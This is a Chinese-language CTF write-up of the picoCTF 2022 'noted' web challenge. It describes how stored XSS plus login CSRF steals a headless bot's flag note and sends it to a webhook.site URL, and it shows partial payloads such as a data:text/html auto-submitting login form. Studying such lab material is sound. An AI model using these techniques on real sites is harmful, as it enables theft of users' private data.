picoctf2022-noted
参考自:https://docs.abbasmj.com/ctf-writeups/picoctf-2022
这道题的考点主要是xss
以及csrf
的组合
源码里的EJS
是一套简单的模板语言,帮你利用普通的JavaScript
代码生成HTML
页面
惭愧,这道题完全不会……(连docker环境都不会配乖乖去看人家英文写的wp来复现了)
一个重要的hint
Things that require user interaction normally in Chrome might not require it in Headless Chrome
(在Chrome中通常需要用户交互的事情在Headless Chrome中可能不需要)
还有一点就是
Note that the headless browser used for the "report" feature does **not** have access to the internet.
(请注意,用于“报告”功能的无头浏览器无法访问互联网,也就是说你在/report界面输入url地址,你并不会跳转到这个url地址去访问它的资源)
无头浏览器是什么?
无头浏览器是没有图形用户界面
的网络浏览器,无头浏览器在类似于流行的Web浏览器的环境中提供对网页的自动控制
,但它们是通过命令行界面
或使用网络通信
执行的
我用了一下上述链接的方法
方法思路
首先,我们发现这个new note
处是可以xss
攻击的(震惊,竟然没有过滤)
看了一下源码,发现这个服务器在localhost:8080
内部运行
补充说明一下这个0.0.0.0
然后发现到report.js
里面有一些线索
1 | const crypto = require('crypto'); |
这环境半小时刷新一次,难顶
然后wp里面点明了几点需要注意的地方(机翻的,加上本人英语水平有限所以见谅了)
It’s a puppeteer bot(这是一个木偶机器人????可能是一个bot吧,这个puppeteer在它的配置文件json里面有)
Puppeteer
是一个Node
库,它提供了一个高级API
来通过DevTools
协议控制无头Chrome
或Chromium
浏览器(个人觉得这是一种自动化的手段)。 它还可以配置为使用完整(非无头)Chrome
或Chromium
It is a headless, no-sandbox chromium browser (it’s infamous of lax security)
(它是一个
无头
、无沙盒
的Chromium
浏览器(它因安全性松懈而广受诟病))The bot creates a new account with completely random username and password. Creates a new note with content as
process.env.flag
i. e the flag(该机器人使用完全随机的
用户名
和密码
创建一个账户,同时该机器人创建一个title=flag
,content
为process.env.flag
的new note
来得到flag
)The bot in the end opens the
url
we provide on the/reports
page(就是那个
report
按钮进入的界面,我们输入url
,会报告上去(一时没发现有什么用))
需要读取到机器人创建的包含有flag
的账户(就是用随机数账户密码创建的那个)
可以本地测试一下,需要修改一些参数,将report.js
里面的headless
修改为false
,同时将report.js
里面的0.0.0.0
修改为localhost
(这个0.0.0.0
是部署在出题人自己的服务器上的,我们自己本地测试还得修改ip地址)
这位师傅的思路是——发出一个包含“我的笔记”内容作为参数的获取请求
先创建一个测试账户
然后在测试账户创建一个脚本,该脚本将使用名为“pwn”
的特定窗口(pwn
之后会被创建)的正文内容访问 webhook.site url
(稍后将创建)(这个webhook
感觉是个比较方便的在线工具,可以用来捕获请求等信息)
1 | <script> |
这个a5591c91-8eec-4366-9388-e231484f01b5
是个随机数生成的,不用在意
window.location.search
意思即为查询当前窗口下从问号 (?)
开始的 URL部分,include
即为是否包含了某些特定内容,原句是这么说的
I added a clause to check for ?pwn in the url because without it the website was crashing since it was redirecting every time you accessed notes. Now, let's go ahead and plant it.
(添加了一个子句来检查url
中的?pwn
,因为没有它,网站就会崩溃,因为每次访问笔记时它都会重定向。 现在,让我们继续种植它)
window.open()
当中,第一个参数
为url
,如果没有指定的url
,打开一个新的空白窗口
,这里的
第二个参数
为指定target属性
或窗口的名称
(这里的意思应该是打开一个名为pwn
的窗口)
window.open.document.body.textContent
就指的是获取名为pwn
的窗口下的内容(这其中就包含了flag
)
window.location
其实是显示一堆参数的东西
以一个网址为例
如果在一个网址当中输入了window.location = “url”
的话,那么这个网页会被重定向到另一个url
当中(这应该也是一个利用点)
以上面的方法可以在测试账号当中进行xss
之后需要进入/report
页面,需要再编写一个主脚本
接下来需要做三件事情
打开一个名为
“pwn”
的新窗口,其URL
http://localhost/notes这将作为拥有
flag
内容的机器人帐户打开“我的笔记”
页面使用凭据
a:a
登录到我们的测试帐户
登录后转到
/notes?pwn
,由于xss
,它将自动捕获“pwn”
窗口的内容
思路概括如下(摘自原文)
1 | data:text/html, |
<form>
当中的target
规定了在何处打开action url
(这里应该是在一个空白页
打开),然后用id=pwn
定义了提交表单的数据
data:text/html
是js当中的data URI
的一种用法,告诉浏览器的内容是html元素
接下来,我们创建一个带有操作的表单作为本地登录页面,并在输入字段中预先输入凭据作为值,然后我们在脚本中打开一个带有注释url
的名为“pwn”
的窗口(这在正文中有我们需要的flag
)然后我们等待 1 秒并提交我们的登录表单,在我们以“a:a”
身份登录后,我们会在1.5秒后打开/notes?pwn
,这将触发我们的XSS
并从“pwn”
标签中窃取内容,该标签仍然具有来自bot
帐户的正文(和flag
)
setTimeout()
指的是过了多久时间执行xxx
命令(函数)
不过这好几行的代码是需要将它们压缩一下的(为了防止格式上出现错误)
然后可以在请求当中看到flag
emmm,我按照这位师傅的方法复现并没有成功,看来还得继续探索一下……
淦,这个方法我没有尝试成功,我去看看别的方法……
好家伙,用了一个类似的方法,成功了
思路纠正
破案了,由于login
窗口和notes
窗口的id
都是pwn
,导致了参数混用所以导致上面的方法没有成功,因为我们需要利用的是notes
窗口的信息,而不是login
窗口的信息
payload
纠正
1 | <script> |
1 | data:text/html,<form action="http://localhost:8080/login" method=POST id=l target=_blank> |
终于结束了……